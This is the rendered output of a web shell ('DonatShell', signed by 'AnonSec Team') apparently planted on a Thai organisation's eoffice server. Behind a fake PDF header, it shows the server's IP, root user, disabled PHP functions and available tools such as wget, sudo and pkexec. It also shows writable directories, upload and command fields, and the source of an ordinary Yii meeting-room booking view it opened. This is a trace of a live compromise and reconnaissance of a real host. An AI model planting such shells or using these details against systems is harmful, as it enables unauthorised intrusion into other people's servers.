%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/bookingdata/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/bookingdata/views/default/view.php
<?php

use yii\helpers\Html;
use yii\widgets\DetailView;
use backend\modules\departments\models\Departments;
use dektrium\user\models\Profile;
use yii\db\Query;
use backend\modules\bookingdata\models\BookingRoom;

/* @var $this yii\web\View */
/* @var $model backend\modules\circulardata\models\CircularData */
$this->title = 'การขอใช้ห้องประชุม';
$this->params['breadcrumbs'][] = $this->title;
?>
<div class="circular-data-view">
    <div class="m-portlet__body  m-portlet__body--no-padding">
        <div class="row m-row--no-padding m-row--col-separator-xl">
            <div class="col-md-6">
                <div style="text-align: center">
                    <?php // echo Html::a('<i class="fa fa-home"> </i>', ['/site/index'], ['class' => 'btn btn-outline-danger m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                    <?= Html::a('<i class="fa fa-arrow-left"> </i>', ['/bookingdata/default/index'], ['class' => 'btn btn-outline-accent m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                </div>
                <div class="m-widget1">
                    <h4>การขอใช้ห้องประชุม</h4>
                    <?=
                    DetailView::widget([
                        'model' => $model,
                        'template' => '<tr><th width="35%">{label}</th><td>{value}</td></tr>',
                        'attributes' => [
                            [
                                'attribute' => 'booking_room_id',
                                'format' => 'html',
                                'value' => function ($model) {
                                    $value = BookingRoom::find()->where(['id' => $model->booking_room_id])->one();
                                    return "<span style='color:{$value->color};font-weight: 700;'> {$value->name} </span>";
                                },
                            ],
                            [
                                'label' => 'สถานะการยืนยัน',
                                'attribute' => 'created_at',
                                'format' => 'html',
                                'value' => function ($model) {
                                    if ($model->status == 1) {
                                        return '<i class="m-menu__link-icon fa fa-check" style="font-size:120%;font-weight:700;color:blue"></i> <span style="font-size:120%;font-weight:700;color:blue">อนุมัติ</span>';
                                    }
                                    if ($model->status == 0) {
                                        return '<i class="m-menu__link-icon fa fa-spinner" style="font-size:120%;font-weight:700;color:#4FBDBA"></i> <span style="font-size:120%;font-weight:700;color:#4FBDBA">รอการอนุมัติ</span>';
                                    }
                                    if ($model->status == 2) {
                                        return '<i class="m-menu__link-icon fa fa-times" style="font-size:120%;font-weight:700;color:red"></i> <span style="font-size:120%;font-weight:700;color:red">ไม่อนุมัติ</span>';
                                    }
                                },
                            ],
                            [
                                'label' => 'วันที่ขอใช้',
                                'attribute' => 'created_at',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->created_at, 'php:วันที่ d F Y');
                                },
                            ],
                            [
                                'attribute' => 'booking_department',
                                'format' => 'html',
                                'vAlign' => 'middle',
                                'headerOptions' => ['class' => 'kv-sticky-column text-center'],
                                'value' => function ($model) {
                                    $value = Departments::find()->where(['id' => $model->booking_department])->one();
                                    return "<span style='color:red;font-weight: 700;'>{$value->name}</span>";
                                },
                            ],
                            'booking_subject',
                            'name',
                            'tel',
                            [
                                'label' => 'ขอใช้วันที่',
                                'attribute' => 'booking_date_start',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->booking_date_start, 'php:วันที่ d F พ.ศ. Y เวลา H:i น.');
                                },
                            ],
                            [
                                'label' => 'วันที่สิ้นสุดการขอใช้',
                                'attribute' => 'booking_date_end',
                                'value' => function ($model) {
                                    return Yii::$app->thaiFormatter->asDateTime($model->booking_date_end, 'php:วันที่ d F พ.ศ. Y เวลา H:i น.');
                                },
                            ],
                            'booking_detail:ntext',
                            [
                                'label' => 'ระบบประชุมออนไลน์',
                                'attribute' => 'online',
                                'value' => function ($model) {
                                    if($model->online == 0){
                                        return 'ไม่ได้ใช้ระบบประชุมออนไลน์';
                                    }else{
                                        return '⭐ใช้ระบบประชุมออนไลน์⭐';
                                    }
                                },
                            ],
//                            [
//                                'attribute' => 'created_at',
//                                'value' => function ($model) {
//                                    return Yii::$app->thaiFormatter->asDateTime($model->created_at, 'php:วันที่ d F Y เวลา H:i น.');
//                                },
//                            ],
//                            [
//                                'attribute' => 'updated_at',
//                                'value' => function ($model) {
//                                    return Yii::$app->thaiFormatter->asDateTime($model->updated_at, 'php:วันที่ d F Y เวลา H:i น.');
//                                },
//                            ],
                        ],
                    ])
                    ?>
                </div>
            </div>
            <div class="col-md-6">
                <div class="m-widget1">
                </div>
            </div>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team